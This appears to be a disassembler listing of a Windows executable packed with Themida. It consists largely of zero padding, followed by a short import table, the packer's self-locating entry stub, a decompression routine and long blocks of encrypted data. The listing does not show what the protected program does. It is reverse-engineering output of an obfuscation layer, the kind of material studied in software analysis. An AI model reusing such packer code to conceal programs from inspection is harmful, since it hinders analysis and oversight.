		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
_rsrc___	ends

; Section 3. (virtual address 000E0000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4E0000h
a7icwCw		db '7╗Гw╣\Гw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0E0050h, 0E0000h, 3 dup(0)
		dd 0E0079h, 0E000Ch, 3 dup(0)
		db 0
byte_4E0049	db 3 dup(0)		; DATA XREF: ___:004385BCo
		align 10h
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E1000)
; Virtual size			: 000F5000 (1003520.)
; Section size in file		: 000F5000 (1003520.)
; Offset to raw	data for section: 000E1000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E1000h
		dd 0E91CB612h, 403B3h, 5414Fh, 96172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E1265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00549345 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054C83E SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0054CAB4 SIZE 00000063 BYTES
; FUNCTION CHUNK AT 0054CB21 SIZE 00000098 BYTES
; FUNCTION CHUNK AT 0054CBEF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0054CC05 SIZE 00000015 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E1086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E1041
		popa
		jmp	short loc_4E1076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E10h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------

loc_4E1041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi

loc_4E104E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E106D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E1074

loc_4E106D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E104E
; ---------------------------------------------------------------------------

loc_4E1074:				; CODE XREF: start+57j
		mov	edi, eax

loc_4E1076:				; CODE XREF: start+1Bj
		jmp	loc_4E1265
; ---------------------------------------------------------------------------
		db 3
		dd 126AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------

loc_4E1086:				; CODE XREF: start+8j
		mov	eax, offset loc_549345
		mov	ecx, offset word_4E126A
		push	eax
		push	ecx
		call	sub_4E111B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E1265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aUFkxB		db '(⌠иД┼x╪^│',0
		dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h,	3163C78Eh
		dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h
dword_4E10F8	dd 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h,	0DCBA75EBh
					; DATA XREF: Themida_:00568749o
		dd 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E111B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h

loc_4E1127:				; CODE XREF: sub_4E111B:loc_4E113Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2

loc_4E1132:				; CODE XREF: sub_4E111B+7Aj
					; sub_4E111B+C3j ...
		add	dl, dl
		jnz	short loc_4E113B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E113B:				; CODE XREF: sub_4E111B+19j
		jnb	short loc_4E1127
		add	dl, dl
		jnz	short loc_4E1146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E1146:				; CODE XREF: sub_4E111B+24j
		jnb	short loc_4E1197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E1153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E1153:				; CODE XREF: sub_4E111B+31j
		jnb	loc_4E1238
		add	dl, dl
		jnz	short loc_4E1162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E1162:				; CODE XREF: sub_4E111B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E116D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E116D:				; CODE XREF: sub_4E111B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E1178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E1178:				; CODE XREF: sub_4E111B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E1183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E1183:				; CODE XREF: sub_4E111B+61j
		adc	eax, eax
		jz	short loc_4E118D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi

loc_4E118D:				; CODE XREF: sub_4E111B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E1132
; ---------------------------------------------------------------------------

loc_4E1197:				; CODE XREF: sub_4E111B:loc_4E1146j
		mov	eax, 1

loc_4E119C:				; CODE XREF: sub_4E111B:loc_4E11B0j
		add	dl, dl
		jnz	short loc_4E11A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E11A5:				; CODE XREF: sub_4E111B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E11B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E11B0:				; CODE XREF: sub_4E111B+8Ej
		jb	short loc_4E119C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E11E3
		mov	ecx, 1

loc_4E11C0:				; CODE XREF: sub_4E111B:loc_4E11D4j
		add	dl, dl
		jnz	short loc_4E11C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E11C9:				; CODE XREF: sub_4E111B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E11D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E11D4:				; CODE XREF: sub_4E111B+B2j
		jb	short loc_4E11C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------

loc_4E11E3:				; CODE XREF: sub_4E111B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1

loc_4E11F1:				; CODE XREF: sub_4E111B:loc_4E1205j
		add	dl, dl
		jnz	short loc_4E11FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E11FA:				; CODE XREF: sub_4E111B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E1205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E1205:				; CODE XREF: sub_4E111B+E3j
		jb	short loc_4E11F1
		cmp	eax, 7D00h
		jnb	short loc_4E1228
		cmp	eax, 500h
		jb	short loc_4E1223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------

loc_4E1223:				; CODE XREF: sub_4E111B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E122B

loc_4E1228:				; CODE XREF: sub_4E111B+F1j
		add	ecx, 2

loc_4E122B:				; CODE XREF: sub_4E111B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------

loc_4E1238:				; CODE XREF: sub_4E111B:loc_4E1153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E1259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E1132
; ---------------------------------------------------------------------------

loc_4E1259:				; CODE XREF: sub_4E111B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E111B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_4E1265:				; CODE XREF: start:loc_4E1076j
					; start+9Dj
		jmp	loc_549345
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E126A	dw 38E9h		; DATA XREF: start+77o
		dd 15334F4h, 1EE101BCh,	848B71B8h, 1CEEB2Bh, 98F8BF11h
		dd 0EF3B848Bh, 10EE22C8h, 3CAA1EBh, 43743FC2h, 908AD233h
		dd 17EF4EAh, 0B81188ABh, 5201BF46h, 61747365h, 7041CC72h
		dd 78F42EE2h, 5517C2F9h, 215C9264h, 19C5F77h, 0DFD723h
		dd 6D656854h, 61706469h, 45F47D8Dh, 5E1DC224h, 35C23645h
		dd 0C47C7AF7h, 356EDE57h, 0BFFE1003h, 0BF1178CEh, 112E21E2h
		dd 743DFDAFh, 0C58BC7AFh, 0E860D421h, 815D0A40h, 350301EDh
		dd 95890628h, 0D08D3A1h, 841F4DB5h, 12D0D85h, 16C9BD83h
		dd 0C740007h, 0E2E4E88Bh, 3D99B852h, 4470E3C2h,	203E8E24h
		dd 6A0C0E25h, 29A3E845h, 749A0F68h, 0DF4A0783h,	4B25030Ah
		dd 0D5D20A89h, 214E921h, 80BE5422h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 56h
		fsubr	st, st(6)
		add	al, 5Ah
		sub	edx, 0DA8B40F1h

loc_4E1350:				; CODE XREF: Themida_:004E136Dj
		mov	dword ptr [ebp-28h], 0EB10891h
		inc	eax
		mov	[edi-33827EF8h], ecx
		sbb	byte ptr ds:200F6774h, 8
		rep sbb	dword ptr [ebx+30h], 45h
		call	dword ptr [edx]
		inc	ebx
		jmp	short loc_4E1350
; ---------------------------------------------------------------------------
		db 0C6h
		dd 2661DC36h, 0C228C9E8h, 810D4604h, 2FF7CC4h, 403A491Ch
		dd 45018D36h, 85D8B80h,	194485C7h, 0A8D504Ah, 88C3D100h
		dd 0A8894118h, 0A2BD810Bh, 755D0206h, 282794E3h, 0EC64BA8Dh
		dd 8A800475h, 90F4BB0Eh, 37ABB85Bh, 0D378540Fh,	80FCCD0h
		dd 0F7753B4Bh, 47C3AF05h, 624A2446h, 42A2F946h,	8ABA61D1h
		dd 5FF0D007h, 0FC45EED8h, 4EB4DA0h, 46C8ADA3h, 40C53E80h
		dd 8436BAF7h, 197DE634h, 3E7FEB0Ch, 0C86D0CF8h,	0E4CF012h
		dd 4A10A8F4h, 0F06514C1h, 0F803D604h, 0C203E0D1h, 33012896h
		dd 301C8ADBh, 72CCFB80h, 390AC30Ah, 0EBD30577h,	142226EFh
		dd 0D67617Fh, 8F6660Ah,	0C3F4F51Eh, 0C310EA0Ah,	0B72411Ah
		dd 77460A0Dh, 21EA2406h, 87F05D01h, 7D83F4ECh, 0B0720231h
		dd 76C00CB3h, 0AA64A576h, 0E01CF826h, 0A8A08D76h, 0FC0A553Bh
		dd 0BD78820Fh, 0AA1BB09Ch, 0BA0EE538h, 0AB90E08h, 0BD84FC70h
		dd 0FE003780h, 7549470Fh, 22B9FA1Ch, 0BBC76A5Dh, 0F1D11101h
		dd 76DBEB82h, 868E0002h, 7293975h, 36E06551h, 8A7317FDh
		dd 0E94FBC26h, 8C590191h, 88D10DAh, 8E1813BBh, 2CFD0D02h
		dd 6761C307h, 8230C28Ch, 0CB58DC1h, 12901062h, 0EA305327h
		dd 0FD40D0Bh, 6ACF002Fh, 168B6961h, 7ACC5CBDh, 1FBCDCF1h
		dd 0C7D8B6C6h, 0C34CB8Ch, 4E003956h, 100F765Bh,	3E3D51B8h
		dd 3B3BD104h, 75584630h, 0F6D82E09h, 0AEC480Eh,	69065E4h
		dd 0C5840065h, 88968E05h, 1E5382A9h, 29C20415h,	5718C03h
		dd 0E6EE782h, 2BFFCCAAh, 4773081h, 0C1341D22h, 33F98406h
		dd 41BC2075h, 0D90ADD3Fh, 9F30A0EFh, 99EC4138h,	0FFCC7F8Ch
		dd 450C40F9h, 60A5E9FEh, 52C46200h, 8254D8Ch, 0B1AA8211h
		dd 0D05AAB4Ch, 568A1384h, 825E60E8h, 81AA93EEh,	4F510984h
		dd 13B9AA8Ah, 97522320h, 0EA518543h, 480E0A00h,	7B600Dh
		dd 1EC4825Ch, 673CE6C1h, 6BDA8D01h, 4E95701h, 5F212F87h
		dd 758A21C4h, 45A94325h, 21150830h, 50C45747h, 3FD9F446h
		dd 4464E281h, 0C45C6154h, 8C5D8AC8h, 441944h, 9E28C454h
		dd 0B7DD22Ch, 8610CA0Ah, 0E041D839h, 16E4C834h,	68FCD425h
		dd 9BEAFA83h, 52760D64h, 0C8C45A61h, 448C4D8Ah,	5200421Eh
		dd 58568DC4h, 767ACFBFh, 0A48978D0h, 2F015535h,	0C45E30FEh
		dd 6D468AE4h, 46001A22h, 5953C456h, 246633A7h, 40C9E9D4h
		dd 3D74C778h, 0CBF01515h, 80E63C0Ch, 29FE5D97h,	38EC81A7h
		dd 0E9A45CCAh, 3A6D41CDh, 0DD2DC835h, 93CDE0Fh,	1EF9C039h
		dd 185CA236h, 2D0FE949h, 0F038F64Ah, 0B8600EE6h, 9016C0A6h
		dd 30735599h, 8A5AD98Ch, 2E61D686h, 38310EAh, 0E08C3D8Ch
		dd 15410E1Ch, 0CEE85210h, 12423A5Fh, 4DEA0394h,	53D7FB00h
		dd 9FB1C94Ah, 6079E600h, 8050B77h, 58CF00B5h, 0F9C0105Bh
		dd 3431C382h, 0BFF63676h, 8FFDB149h, 681AF48h, 1D8C09CDh
		dd 0F4043233h, 435C22BBh, 40CC3482h, 0FE8C15Ch,	70B53E61h
		dd 5037EC00h, 0B90E4297h, 2C1B6738h, 3061408Ah,	0BF5914EAh
		dd 0E23DD6C8h, 23A680DDh, 70C2989h, 829C0072h, 8E8649CEh
		dd 830376BAh, 0EA62119Ah, 0B43D010Eh, 5FB8BD8h,	437BF8F8h
		dd 0C5510C03h, 0D9EF84DFh, 2B8009E9h, 75218C7h,	626ADF0h
		dd 0FC09B7C9h, 91418759h, 70241C6Eh, 904E8D16h,	1685E653h
		dd 0C0E97E3Fh, 2094DD0Bh, 6500AA84h, 7EDA3A7Ch,	0EA7A2172h
		dd 5A59003Eh, 476F50E5h, 0BA00AACDh, 347B4323h,	1F7D4D17h
		dd 0DB761E57h, 13912012h, 39F5D497h, 88D1B107h,	0CE133FE9h
		dd 1153E834h, 66550040h, 8EC8CC03h, 38C0F41Ch, 0F9AAAB7Fh
		dd 1327CA9h, 68BFF3DCh,	80616F12h, 43ECEF59h, 1D27B6ACh
		dd 5C6D0867h, 0BE9B408Ch, 42D5EAC5h, 47E51E0Ch,	6F3051h
		dd 2A6D32DBh, 0E0197860h, 1FF3F91Ch, 54E6C286h,	0ED0300D1h
		dd 35ABB22Fh, 4A0071C4h, 754E1FE1h, 3DCDDFA0h, 516246C6h
		dd 39C083A5h, 0C901E1BBh, 0D1541879h, 80E8291Eh, 380960E3h
		dd 0FFBA6F6Dh, 4623BD1Dh, 0C191EF43h, 0F145B3CCh, 0D060F740h
		dd 0B0261B92h, 6C9058C7h, 417AF48Fh, 0AEE4DF01h, 57E258CEh
		dd 28B0798Ch, 4C002A29h, 2795AC71h, 3B72D9BFh, 4D00CD62h
		dd 84F9900Fh, 403546E9h, 0B60730D0h, 0C6A03E8Ch, 3F8108ECh
		dd 688033AFh, 8D184BB9h, 61035F15h, 0B84A14A2h,	8087A7ACh
		dd 8EF0085Dh, 2D4F00B0h, 0AB3C1398h, 5E00C130h,	596DD18Bh
		dd 0B125CAh, 18CF8489h,	862D1B87h, 4A0F1500h, 2FC1C20Bh
		dd 92930E6h, 93832A10h,	0DA287663h, 3790E11h, 0C901421h
		dd 190B2612h, 331E0E09h, 0C1406CA5h, 0E6573927h, 0C566B51Fh
		dd 60F762CFh, 8775769Eh, 562B00A0h, 89AC39A8h, 0B66CFF25h
		dd 40961838h, 9E61DEA1h, 0A79FB0E9h, 189BE180h,	8A4605D3h
		dd 4FAB2D03h, 0D4FBA569h, 0BF1FE981h, 4066489Ch, 0CC18375h
		dd 0EB063CDAh, 1129964Fh, 729105E9h, 419EB047h,	8BB161A0h
		dd 383840A2h, 0AA602902h, 2368EE11h, 0E6A7002Ah, 0AFF75837h
		dd 5B00ECB6h, 0FABF07D4h, 29002D1h, 432C768h, 90A30926h
		dd 610CB580h, 947AFDD0h, 3574383Fh, 68CEF58Fh, 3B4CDCE0h
		dd 2B008A18h, 0A31D1A28h, 30694625h, 0AD49114Ah, 2009CEEh
		dd 3CB07FD7h, 0CC8AB98h, 0EDD84A1Bh, 191FBA38h,	71F079C2h
		dd 0F4A4DB24h, 6DE2001Fh, 0AFBAD070h, 21C1A893h, 21C1B479h
		dd 10BDF842h, 6040349Bh, 0A9861A57h, 0DD001815h, 36B58E4Fh
		dd 0AB2C10C3h, 3288E7Bh, 0F82B1907h, 0C7F90A1Ah, 0E6C040B2h
		dd 0B0297DECh, 9F10DCE5h, 8C230484h, 66842220h,	4042FA89h
		dd 0EEE39409h, 0C3040F96h, 73B48F26h, 0C005EA18h, 90428431h
		dd 6A007581h, 4107771Dh, 0BB322Bh, 3345D0B9h, 0A510D4Dh
		dd 0B8B31612h, 0E3A00C61h, 6081B6EDh, 3948BB4h,	0F0D18163h
		dd 62FB9329h, 864F1085h, 0BB500BDh, 227A32Eh, 0DDAF18C7h
